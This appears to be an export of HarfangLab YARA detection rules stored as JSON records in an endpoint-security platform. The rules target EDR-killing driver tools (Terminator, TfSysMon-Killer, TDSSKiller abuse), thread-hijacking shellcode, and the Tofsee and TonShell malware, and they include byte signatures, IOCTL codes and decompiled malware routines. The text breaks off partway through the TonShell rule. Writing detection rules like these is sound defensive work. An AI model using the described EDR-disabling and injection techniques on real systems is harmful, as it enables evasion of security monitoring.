+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571562Z",
+  "creation_date": "2026-03-23T11:46:25.571564Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571570Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/lockbit-ransomware-silently-disables-edr-using-tdsskiller\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "tdsskiller_minidriver.yar",
+  "content": "import \"pe\"\n\nrule tdsskiller_minidriver {\n    meta:\n        title = \"TDSSKiller Driver\"\n        id = \"b49bb317-1fa3-41d8-89ab-717039123918\"\n        description = \"Detects TDSSKiller's driver, a legitimate tool developed by Kaspersky for detecting and removing rootkits.\\nThis tool is capable of disabling stubborn malicious processes through command prompt execution.\\nIt is notable for being abused by the LockBit 3.0 Ransomware group to terminate EDR processes.\"\n        references = \"https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/lockbit-ransomware-silently-disables-edr-using-tdsskiller\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2023-07-27\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001\"\n        classification = \"Windows.Tool.TDSSkiller\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 3efdfb47b0556e97256447f7d619a293d713327496a9524bfbe6a3294e9a7df4\n\n        $s1 = \"Copyright (c) Kaspersky Lab, Yury Parshin\" wide fullword\n        $s2 = \"Kaspersky Lab Mini Driver\" wide fullword\n        $s3 = \"klmd.sys\" wide fullword\n        $s4 = \"C:\\\\Perforce\\\\PARSHIN-TDSSKiller-3.1\\\\out_x64\\\\WNet Release\\\\klmd_wnet_x64_release.pdb\" ascii fullword\n        $s5 = \"Kaspersky Lab0\" ascii fullword\n        $s6 = \"Kaspersky Lab1\" ascii fullword\n\n        $canary = \"c27cde14c23c360cefd1901eae32de6a9b73bcb13c5f653f7473bf2acfbe53b1\"\n\n    condition:\n        5 of ($s*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "tdsskiller_minidriver"
+  ],
+  "rule_creation_date": "2023-07-27",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.TDSSkiller"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-terminator_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567977Z",
+  "creation_date": "2026-03-23T11:46:25.567979Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567984Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ZeroMemoryEx/Terminator/\nhttps://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "terminator.yar",
+  "content": "rule terminator {\n    meta:\n        title = \"Terminator HackTool\"\n        id = \"ebd55991-2d88-41ed-918d-004115a26d52\"\n        description = \"Detects Terminator, a HackTool that uses the zam64.sys driver to terminate protected processes.\\nTerminator is a tool designed to kill specific processes by leveraging a vulnerable driver. It loads the zam64.sys driver into memory and uses it to target and terminate the specified processes. This activity is typically associated with attempts to disrupt or disable security mechanisms.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/ZeroMemoryEx/Terminator/\\nhttps://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.Terminator\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 1b796310af83a4f0b6a6ff33638e638f08ec5749e474aee998861467adc71284\n\n        $s_device = \"\\\\\\\\.\\\\ZemanaAntiMalware\" wide ascii\n        $s_winapi_01 = \"CreateFile\" wide ascii\n        $s_winapi_02 = \"DeviceIoControl\" wide ascii\n        $s_winapi_03 = \"CreateToolhelp32Snapshot\" wide ascii\n        $s_winapi_04 = \"Process32First\" wide ascii\n        $s_winapi_05 = \"Process32Next\" wide ascii\n        $s_winapi_06 = \"OpenSCManager\" wide ascii\n        $s_winapi_07 = \"OpenService\" wide ascii\n        $s_winapi_08 = \"StartService\" wide ascii\n        $s_winapi_09 = \"CreateService\" wide ascii\n        $s_IOCTL_kill = { (80 00 20 48|48 20 00 80) }\n        $s_IOCTL_init = { (80 00 20 10|10 20 00 80) }\n        $filter_domain_01 = \"zamcloud\" wide ascii\n        $filter_domain_02 = \"zemana.com\" wide ascii\n\n    condition:\n        all of ($s_*)\n        and not (1 of ($filter_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "terminator"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Terminator"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-tfsysmon-killer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567570Z",
+  "creation_date": "2026-03-23T11:46:25.567572Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567577Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "tfsysmon-killer.yar",
+  "content": "rule tfsysmon_killer {\n    meta:\n        title = \"TfSysMon-Killer HackTool\"\n        id = \"9588b75a-94f4-4240-a71c-5f890fdac2f8\"\n        description = \"Detects the TfSysMon-Killer HackTool.\\nTfSysMon-Killer is a tool designed to terminate protected processes by exploiting a vulnerability in the SysMon.sys driver. It operates by loading the SysMon.sys driver into memory and utilizing its functions to kill specified processes.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.TfSysMonKiller\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 00de8cb8675b4fe6f675935b32b1a9b9cf8fcb6131eaaaf8c7d73f90b6064f5f\n\n        $device = \"\\\\\\\\.\\\\TfSysMon\" wide ascii\n        $winapi_01 = \"CreateFile\" wide ascii\n        $winapi_02 = \"DeviceIoControl\" wide ascii\n        $winapi_03 = \"CreateToolhelp32Snapshot\" wide ascii\n        $winapi_04 = \"Process32First\" wide ascii\n        $winapi_05 = \"Process32Next\" wide ascii\n        $winapi_06 = \"OpenSCManager\" wide ascii\n        $winapi_07 = \"OpenService\" wide ascii\n        $winapi_08 = \"StartService\" wide ascii\n        $winapi_09 = \"CreateService\" wide ascii\n        $IOCTL_kill = { (B4 A0 04 04|04 04 A0 B4) }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "tfsysmon_killer"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.TfSysMonKiller"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-thread_context_hijacking_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586159Z",
+  "creation_date": "2026-03-23T11:46:25.586162Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586183Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2025/waiting-thread-hijacking/\nhttps://github.com/hasherezade/waiting_thread_hijacking"
+  ],
+  "name": "thread_context_hijacking.yar",
+  "content": "rule generic_thread_hijacking_stub {\n    meta:\n        title = \"Generic Thread Hijacking Stub\"\n        id = \"a2c75caa-12ac-4503-bbe6-3fb0b345238e\"\n        description = \"Detects a default shellcode stub used for Waiting Thread Injection.\\nWaiting Thread Injection is a technique consisting of overwriting the return address of a given thread that is a on a waiting state; when the affected thread is resumed, control flow will be hijacked and the shellcode will be executed before restoring the original thread context.\\nThis shellcode stub handles saving the entire context of a given waiting thread, so the execution flow can be hijacked safely for executing shellcode before returning control.\\nIt is recommended to dump the process and the given thread for further analysis and investigate any other alerts on the given machine to determine maliciousness.\"\n        references = \"https://research.checkpoint.com/2025/waiting-thread-hijacking/\\nhttps://github.com/hasherezade/waiting_thread_hijacking\"\n        date = \"2025-04-15\"\n        modified = \"2025-04-22\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.WaitingThreadInjection\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n\n        $hijacking_stub = {\n            9C             // pushf\n            50             // push rax\n            51             // push rcx\n            52             // push rdx\n            53             // push rbx\n            55             // push rbp\n            56             // push rsi\n            57             // push rdi\n            41 50          // push r8\n            41 51          // push r9\n            41 52          // push r10\n            41 53          // push r11\n            41 54          // push r12\n            41 55          // push r13\n            41 56          // push r14\n            41 57          // push r15\n            E8 [4]         // call 0x4010ea\n            41 5F          // pop r15\n            41 5E          // pop r14\n            41 5D          // pop r13\n            41 5C          // pop r12\n            41 5B          // pop r11\n            41 5A          // pop r10\n            41 59          // pop r9\n            41 58          // pop r8\n            5F             // pop rdi\n            5E             // pop rsi\n            5D             // pop rbp\n            5B             // pop rbx\n            5A             // pop rdx\n            59             // pop rcx\n            58             // pop rax\n            (66 9D | 9D)   // popf\n            E?             // jmp 0xffff\n            // Shellcode sits here\n        }\n\n    condition:\n        $hijacking_stub\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_thread_hijacking_stub"
+  ],
+  "rule_creation_date": "2025-04-15",
+  "rule_modified_date": "2025-04-22",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.WaitingThreadInjection"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-tofsee_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580784Z",
+  "creation_date": "2026-03-23T11:46:25.580786Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.580792Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitsight.com/blog/tofsee-botnet-proxying-and-mining\nhttps://www.checkpoint.com/cyber-hub/threat-prevention/what-is-malware/tofsee-malware/"
+  ],
+  "name": "tofsee.yar",
+  "content": "rule tofsee {\n    meta:\n        title = \"Tofsee C2\"\n        id = \"b03a674f-994c-4ddc-bdcf-23e5772b5325\"\n        description = \"Detects the Tofsee C2 and Spambot modular framework.\\nTofsee is a modular spambot primarily written in C++, is designed to perform a variety of malicious activities including sending spam emails, conducting DDoS attacks, mining cryptocurrency, and stealing account credentials. It features a modular architecture that allows it to download additional components from its command-and-control (C2) server to extend its capabilities, securing network exchanges via XOR-based encryption and often using port 443 to blend in with legitimate SSL traffic.\\nIt is recommended to investigate activity surrounding this binary to determine maliciousness, infection vector and actions taken by the attacker. Since Tofsee uses non-standard protocols, verify DPI information to determine if traffic is using port 443 with non-HTTP communication.\"\n        references = \"https://www.bitsight.com/blog/tofsee-botnet-proxying-and-mining\\nhttps://www.checkpoint.com/cyber-hub/threat-prevention/what-is-malware/tofsee-malware/\"\n        date = \"2025-10-09\"\n        modified = \"2025-10-13\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1041;attack.t1027;attack.credential_access;attack.t1552.004\"\n        classification = \"Windows.Framework.Tofsee\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 6a7bec4ec7be69e7517f06cd3a969c601d2d03cc46efbece88a13f34d5aa9df6\n        // 5986dfd6db9fb6ca666d5a55f527e81682f95aa4c2d5a96e773a1ef104202ce1\n        // bf6d1b4d4024a1c1e0225b84428229e8b016254668b783ead7f83d3476cf23c7\n        // f3c1eae26c8b86d3b14593b3702ce9e49e86ebc47ed170d8dfca79490d908c6a\n\n        // Exception handler logging\n        $s1 = \"\\n_ax=%p\\t_bx=%p\\t_cx=%p\\t_dx=%p\\t_si=%p\\t_di=%p\\t_bp=%p\\t_sp=%p\\n\" ascii fullword\n        // Configuration parsing\n        $s2 = \"except_info\" ascii fullword\n        $s3 = \"localcfg\" ascii fullword\n        $s4 = \"lid_file_upd\" ascii fullword\n        $s5 = \"loader_id\" ascii fullword\n\n        // char* decrypt_string(char* arg1, int32_t arg2, int32_t arg3, char arg4, char arg5)\n        //      char* eax = arg1\n        //      int32_t i_1 = arg3\n        //      char ecx = 1\n        //      if (i_1 != 0)\n        //          char* esi_2 = arg2 - eax\n        //          int32_t i\n        //          do\n        //              *eax = *(esi_2 + eax) ^ arg4\n        //              char edx = ecx + arg5\n        //              ecx = neg.b(ecx)\n        //              arg4 += edx\n        //              eax = &eax[1]\n        //              i = i_1\n        //              i_1 -= 1\n        //          while (i != 1)\n        //      return arg1\n\n        // Since this is a modular function, offsets are the same across samples.\n        $decryption_stub = {\n            2B F0              // sub     esi, eax\n            8A 14 06           // mov     dl, byte [esi+eax]\n            32 55 14           // xor     dl, byte [ebp+0x14 {arg4}]\n            88 10              // mov     byte [eax], dl\n            8A D1              // mov     dl, cl\n            02 55 18           // add     dl, byte [ebp+0x18 {arg5}]\n            F6 D9              // neg     cl\n            00 55 14           // add     byte [ebp+0x14 {arg4}], dl\n            40                 // inc     eax\n            4F                 // dec     edi\n        }\n\n        // Initializing unique Mutex of type \"Global\\<someId><randomValue>\", this assures the malware only runs one instance of itself.\n        // arg1 >= 0x60 -> Only run on builds greater than Windows Vista+\n        // if (arg1 u>= 0x60 && arg6 != 0)\n        //     seed_random()\n        //     var_14 = &data_412e08\n        //     var_18 = &var_1c0\n        //     strcpy_safe(var_18, var_14)\n        //     var_1c = 0xc8\n        //     var_20 = 0xe4\n        //     strcat_safe(&var_1c0,\n        //         decrypt_string(&data_4122f8, 0x41090c, 0xc, var_20.b, var_1c.b))\n        //     var_14 = &var_1c0\n        //     var_18 = 0xc8\n        //     var_1c = 0xe4\n        //     var_20 = 0x82\n        //     var_18 = decrypt_string(&data_4122f8, 0x410888, var_20, var_1c.b, var_18.b)\n        //     void var_64\n        //     var_1c = &var_64 + arg_14 - 0x95c\n        //     wsprintfA(param0: var_1c, param1: var_18, var_14)\n        //     var_20 = 0x100\n        //     memset(&data_4122f8, 0, var_20)\n\n        // Since this is a modular function, offsets are the same across samples.\n        $unique_mutex_creation = {\n            E8 [4-7]                 // call    seed_random\n                                     // push    eax {var_14}  {data_412e08}\n            8D [4-7]                 // lea     eax, [ebp-0x15c {var_1c0}]\n                                     // push    eax {var_1c0} {var_18}\n            E8 [4-8]                 // call    strcpy_safe\n                                     // push    ebx {var_1c}  {0xc8}\n                                     // push    edi {var_20}  {0xe4}\n            6A 0C                    // push    0xc {var_24_2}\n            68 0C 09 41 00           // push    0x41090c {var_28_2}\n            ??                       // push    esi {var_2c_2}  {data_4122f8}\n            E8 [4]                   // call    decrypt_string\n            50                       // push    eax {var_30_3}\n            8D [5]                   // lea     eax, [ebp-0x15c {var_1c0}]\n            50                       // push    eax {var_1c0} {var_34_3}\n            E8 [4-6]                 // call    strcat_safe\n            83 C4 24                 // add     esp, 0x24\n            8D [4-6]                 // lea     eax, [ebp-0x15c {var_1c0}]\n            ??                       // push    eax {var_1c0} {var_14}\n            ??                       // push    ebx {var_18}  {0xc8}\n            ??                       // push    edi {var_1c}  {0xe4}\n            68 82 00 00 00           // push    0x82 {var_20}\n            68 88 08 41 00           // push    0x410888 {var_24_3}\n            ??                       // push    esi {var_28_3}  {data_4122f8}\n            E8 [4-6]                 // call    decrypt_string\n            83 C4 14                 // add     esp, 0x14\n            50                       // push    eax {var_18}\n            8B 45 78                 // mov     eax, dword [ebp+0x78 {arg_14}]\n            8D [4-6]                 // lea     eax, [ebp+eax-0x95c] {var_64}\n            50                       // push    eax {var_1c}\n            [6]                      // call    dword [wsprintfA]\n            68 00 01 00 00           // push    0x100 {var_20}\n            6A 00                    // push    0x0 {var_24_4}\n            ??                       // push    esi {var_28_4}  {data_4122f8}\n            E8 [4-6]                 // call    memset\n            83 C4 18                 // add     esp, 0x18\n        }\n\n    condition:\n        $decryption_stub or $unique_mutex_creation or all of ($s*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "tofsee"
+  ],
+  "rule_creation_date": "2025-10-09",
+  "rule_modified_date": "2025-10-13",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Tofsee"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027",
+    "attack.t1071.001",
+    "attack.t1041",
+    "attack.t1552.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-token_universe_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585039Z",
+  "creation_date": "2026-03-23T11:46:25.585041Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585047Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/diversenok/TokenUniverse"
+  ],
+  "name": "token_universe.yar",
+  "content": "rule token_universe {\n    meta:\n        title = \"TokenUniverse Tool\"\n        id = \"7ff054c5-b591-4771-a87b-e120d17ecc6c\"\n        description = \"Detects TokenUniverse, an advanced tool for experimenting and researching Windows security mechanisms.\\nThis tool provides capabilities for exploring and manipulating Windows access tokens, allowing researchers and attackers alike to study and exploit token-based operations. The rule identifies specific patterns associated with TokenUniverse's activity, including its main window, token manipulation attempts, and related processes.\"\n        references = \"https://github.com/diversenok/TokenUniverse\"\n        date = \"2024-04-22\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.credential_access;attack.t1134\"\n        classification = \"Windows.Tool.TokenUniverse\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 8c1f1449e7022f3e418e31f6f1afea1dfb87164532e7d2ee13f6b656a3ffb61d\n        // 49d7196deb0e6177523f5988739638a99e17337485fe4abe37ef4d507f41e554\n        // 5faadce24f84e811913afc85c57fa4fb9ea4a24eda4f6b4376e833b4a0f947a8\n        // 017cb1033e39a9ca31fc76b2b40fd1916a6f27f370c37b331060f920900370db\n        // 562fcd8100440be5e26692ee510edf61609837fd25b8cccc9ce3aab2db50736d\n\n        $s1 = \"Token Universe :: Main Window\" ascii fullword\n        $s2 = \"%Found 0 opened handles in 0 processes\" ascii fullword\n        $s3 = \"{%.8x-%.4x-%.4x-%.2x%.2x-%.2x%.2x%.2x%.2x%.2x%.2x}\" wide fullword\n        $s4 = \"%s (*.%s)|*.%1:s\" wide fullword\n        $s5 = \"Linked token for\" wide fullword\n        $s6 = \"Stay On &Top\" wide fullword\n        $s7 = \"TokenUniverseSvc\" wide fullword\n        $s8 = \"Custom SID recognizer returned nil\" wide fullword\n        $s9 = \"/delegate /plus\" wide fullword\n        $s10 = \"Using token: <not specified>\" wide fullword\n\n        $git = \"https://github.com/diversenok/TokenUniverse\" wide fullword\n\n    condition:\n        6 of ($s*) or\n        ($git and 2 of ($s*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "token_universe"
+  ],
+  "rule_creation_date": "2024-04-22",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.TokenUniverse"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1134"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-tonshell_trojan_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583000Z",
+  "creation_date": "2026-03-23T11:46:25.583002Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583008Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.toneshell\nhttps://attack.mitre.org/groups/G0129/\nhttps://twitter.com/dez_/status/1765041607328624791"
+  ],
+  "name": "tonshell_trojan.yar",
+  "content": "rule tonshell_trojan {\n    meta:\n        title = \"TonShell Trojan\"\n        id = \"a0b8b0db-d890-48ed-9a67-07fe49e69279\"\n        description = \"Detects the TonShell trojan used by the Mustang Panda group.\\nTonShell is a trojan that creates persistence on the system and communicates with a C2 server. It is known for its use of DLL side-loading techniques for initial deployment and persistence mechanisms.\\nThis malware family is often used in targeted attacks and can execute arbitrary commands received from its command and control server.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.toneshell\\nhttps://attack.mitre.org/groups/G0129/\\nhttps://twitter.com/dez_/status/1765041607328624791\"\n        date = \"2024-03-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.g0129;attack.defense_evasion;attack.t1027.007;attack.t1140;attack.command_and_control;attack.t1071.001;attack.t1573.001\"\n        classification = \"Windows.Trojan.TonShell\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for 